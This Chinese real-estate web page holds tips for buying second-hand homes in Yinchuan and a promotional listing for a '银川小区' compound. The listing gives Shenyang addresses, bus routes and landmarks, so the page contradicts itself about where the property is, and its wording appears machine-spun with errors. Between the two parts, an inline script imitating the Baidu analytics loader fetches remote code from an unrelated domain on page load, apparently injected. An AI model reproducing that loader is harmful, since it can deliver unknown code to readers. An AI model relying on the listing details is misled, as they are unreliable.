买卖银川二手房要注意的关键问题

买卖银川二手房须知第一点：必须首先核实卖家的身份，并选择可靠的中介机构。一般选择中介机构，可以选择正式可信的房地产中介机构作为二手房交易基金的管理机构，以确保资金的顺利转移。咨询中介机构应当持有“两证”。一是工商部门颁发的营业执照，二是房屋土地局颁发的中介机构资格证书，是购买二手房的前提。买卖银川二手房须知第二点：产权确认。房产证的产权与业主和房产的性质和内容一致，包括标准价格、地址和住房面积分配比例。同时要检查证书的原件和真实性。还需要知道二手房是符合成本效益的、标准的还是经济实惠的。不同的房产涉及复杂的销售流程，这会影响二手房销售合同的签订。买卖银川二手房须知第三点：核实该房是否允许出售。确认原单位是否同意将本单位的商品和福利出售给原所有人；军品、医院财产、学校财产和总公司在同一个院子里，本单位一般属于特殊单位，公房单位不同意不具备上市资格。买卖银川二手房须知第四点：主要承诺应体现在合同中。在签订合同的时候，任何有关交易的关键协议或卖方的任何承诺都应反映在银川二手房合同中，而不是口头协议中，因为在任何情况下都存在争议，口头同意不能被证明。买卖银川二手房须知第五点：明确支付方式和时间。这个环节容易引起争议，所以需要在银川二手房合同中明确总房价、付款方式、付款时间、付款条件、贷款等相关内容。买受人可按房屋总价的10%作为交付条件，按交付期限向出卖人支付，或要求出租人在交付后搬出并支付房屋款。买卖银川二手房须知第六点：合同必备条款主要包括建筑面积及附属设施、价款及支付方式、土地使用年限、房屋交付期限、违约责任等。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

银川小区价格及基本信息简介

人口的快速增长，直接导致房地产的快速发展。每一个人都希望能有属于自己的一个家，在城市买房子的人越来越多，即便现在的房子价格一路高升。但是还是阻止不了人们对家的渴望啊。银川小区就是一个很好地小区，买这里的房子去营造自己的家是一个不错的选择哦。那么银川小区有什么这么吸引人呢，下面就让小编带你去了解一下吧。银川小区的房价为8970元/平米，目前银川小区的房产价格还在上升，估计很快就会突破9000元/平米。基本信息:银川小区地址：和平和平区南宁北街23号银川小区所属区域：和平中山广场邮编：110001银川小区产权描述：70年银川小区物业类别：住宅建筑类别：塔楼高层银川小区配套设施：供水：居民用水供暖：暖气供电：居民用电燃气：煤气/天然气通讯设备：有线电视、可按宽带银川小区简介黄金地段，出行便利，沈阳繁华的地段，城市中心，交通便利(地铁附近)，属于太原街商业圈。交通状况银川小区附近有115路210路220路231路264路277路282等多路公交车，交通非常便利。银川小区周边信息幼儿园：八一幼儿园中小学：南京一校38中39中大学：中国医科大学商场：太原街中兴大厦、华联等医院：医大一院邮局：太原街邮局银行：招商银行工商银行建设银行农行交行盛京等就近楼群城建商务公寓(和平区同泽南街37号)和银川小区相距98米太原街社区(和平区太原街)和银川小区相距109米城建同泽广场(同泽南街37号)和银川小区相距120米银信国际公寓(和平区民主路78-1号)和银川小区相距156米文化宫社区(铁西区南九中路51号)和银川小区相距188米中冶凯悦名都、太原街文化宫都在银川小气斜对面凯悦名都(沈阳市和平区天津南街与民主路)和银川小区相距216米百利保公寓(和平区中华路)和银川小区相距881米万达新天地天籁座(平区太原南街16号)和银川小区相距252米馨和花园(和平区南京南街)和银川小区相距263米银川小区的条件这么好，就连小编看了都忍不住心动了。房产价格在全国的平均价格来说也不算是贵，最多只能算是中等这样。而且银川小区的房产价格还在上升中哦，就算是买来投资也是一个很好地选择哦。银川小区的地理位置可以说是在市中心了，银川小区附近相应的生活设施可以说是一应俱全。交通又便利，上班族们上班再也不怕迟到了。